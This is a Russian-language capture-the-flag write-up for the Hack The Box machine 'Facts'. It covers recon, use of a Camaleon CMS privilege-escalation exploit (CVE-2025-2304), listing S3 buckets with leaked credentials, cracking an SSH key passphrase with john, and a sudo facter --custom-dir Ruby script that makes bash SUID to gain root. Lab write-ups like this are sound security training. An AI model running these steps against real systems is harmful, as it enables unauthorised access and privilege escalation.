Факты
Факты

Простая машина от Hack The Box, на которой работает Camaleon CMS 2.9.0 под управлением nginx. В системе включена функция самостоятельной регистрации, а уязвимость, позволяющая повысить привилегии после аутентификации (CVE-2025-2304), дает возможность любому зарегистрированному пользователю получить права администратора CMS всего за один запрос.

В настройках хранилища медиафайлов в панели администратора можно обнаружить учетные данные для AWS S3. Перебор (перечисление) бакетов S3 позволяет найти внутренний бакет, содержащий закрытый SSH-ключ, защищенный парольной фразой, которую можно подобрать. В комментарии к ключу указано имя пользователя (trivia), что открывает доступ по SSH и позволяет получить пользовательский флаг. Повышение привилегий осуществляется за счет использования правила sudo, не требующего пароля, для утилиты /usr/bin/facter: флаг --custom-dir позволяет загружать произвольные скрипты Ruby с правами root, обеспечивая простой путь к получению SUID-оболочки bash и root-флага.

1. Recon (Разведка)

Смотрим исходный код и сканируем порты:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

По стандарту 22 и 80 порт Видно, что на 80 порту есть некий сайт, который редиректит на домен facts.htb.

Добавляем его в /etc/hosts c ip адресом 10.10.15.138 в моем случае. Перейдя на сайт, видим что это сайт с картинкаим и фактами. Похоже на какую-то CMS, но из исходного кода пока непонятно, какая именно.

2. Фаззинг

Поскольку есть предположение, что это CMS, то должна быть админка.Приступаем к фаззингу. Наученный предыдущим опытом CTF, где я брал маленькие словари и ничего не находил, в этот раз я сразу беру большой словарь…

ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt  -u "http://facts.htb/FUZZ"  -ic -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1060ms]
sitemap                 [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 1032ms]
index                   [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 1138ms]
                        [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1146ms]
search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 1794ms]
en                      [Status: 200, Size: 11109, Words: 1328, Lines: 125, Duration: 1555ms]
page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1576ms]
welcome                 [Status: 200, Size: 11966, Words: 1481, Lines: 130, Duration: 1354ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1323ms]
post                    [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 1702ms]
ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1336ms]
Index                   [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 1319ms]
up                      [Status: 200, Size: 73, Words: 4, Lines: 1, Duration: 1667ms]
-                       [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1711ms]
404                     [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1879ms]

Да. Есть у нас много каталогов, но я пойду в админку…

alt text
alt text

Естественно ни имени ни пароля мы не знаем, однако мы можем создать новый аккаунт. После регистрации и входа в админ панель, мы наконец узнаем, что это Camaleon CMS версии 2.9.0.

Повышение привелегий до админа в CMS

Первое, что я сделал, это пошел в гугл искать уязвимости на эту версию. На гитхабе есть CVE позволяющая из обычного пользователя повысить привелегии до админа… CVE на гитхабе

python exploit.py -u http://facts.htb -U test -P test
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Reverting User Role

Вот так одной командой становимся администратором на этом сайте и получаем практически полный контроль, над сайтом.

alt text
alt text

Вектора для получения флагов

Прокинуть реверс-шелл, я не смог и стал искать другие пути. В настройках сайта, я нашел такой пункт

alt text
alt text

Видно, что у нас есть облачное хранилище от амазона и креды от него. Нужно зайти в него и посмотреть, вдруг есть, что интересное. Для этих целей будем использовать утилиту AWS. Я этой утилитой ни разу не пользовался поэтому воспользовался гайдом на Медиуме

aws --endpoint-url http://10.129.10.56:54321 s3 ls s3://randomfacts --recursive

Здесь одни картинки и ничего интересного нет.Однако если воспользоваться командой:

aws --endpoint-url http://10.129.10.56:54321 s3 ls 
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

То можно увидеть, что кроме randomfacts бакета есть еще и internal. И здесь есть приватный ключ ssh.

...
2026-01-08 14:01:43          0 .cache/motd.legal-displayed
2026-01-08 13:47:17         20 .lesshst
2026-01-08 13:47:17        807 .profile
2026-03-04 03:17:40         82 .ssh/authorized_keys
2026-03-04 03:17:40        464 .ssh/id_ed25519

Имя пользователя неизвестно, а от рута, этот ключ не подходит, это было бы слишком просто. Много чего перепробовал из cms, но ничего не сработало.

К тому же на этом ключе есть парольная фраза:

ssh2john id_ed25519 > id_ed25519_hash
                                                                                                         
     Downloads  05:47  0.097s  john id_ed25519_hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)     
1g 0:00:06:14 DONE (2026-03-04 05:54) 0.002672g/s 8.552p/s 8.552c/s 8.552C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Убираем парольную фразу и здесь находим имя пользователя:

ssh-keygen -p -f id_ed25519
Enter old passphrase: 
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

Теперь мы в системе и можем прочитать юзерский флаг:

trivia@facts:~$ ls
trivia@facts:~$ ls -la
total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 .
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 Mar  4 08:17 .ssh
trivia@facts:~$ cd /home
trivia@facts:/home$ ls
trivia  william
trivia@facts:/home$ cd william/
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt 
akfalksjfkajfslkasfjlkasjf

Повышаем привелегии до рута

По классике проверяем sudo -l.

trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

И у нас есть утилита facter, которую можем выполнять без пароля.

Уязвимость здесь кроется в том, что в sudo -l не прописаны жесткие аргументы. Это значит, что мы можем запустить sudo /usr/bin/facter с любыми флагами.

У facter есть параметр --custom-dir, который заставляет его загружать пользовательские факты (скрипты на Ruby) из указанной директории. Так как facter будет запущен через sudo, любой наш Ruby-скрипт в этой папке выполнится с правами root.

Создадим временную директорию и напишем туда простейший Ruby-скрипт, который выдаст утилите /bin/bash права SUID.

mkdir -p /tmp/1
echo 'system("/bin/chmod u+s /bin/bash")' > /tmp/privesc/1.rb

Теперь запустим утилиту от имени суперпользователя и скормим ей нашу папку с вредоносным фактом:

sudo /usr/bin/facter --custom-dir /tmp/1

Если скрипт отработал, у /bin/bash теперь есть бит SUID от рута. Запускай баш с сохранением привилегий (флаг -p):

/bin/bash -p

Проверим командой id (должен быть euid=0(root))

trivia@facts:/opt/factsapp$ /bin/bash -p
bash-5.2# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) groups=1000(trivia)
bash-5.2# cat root.txt 
rootflag

Райтап подготовил @alfabuster

Комментарии (0)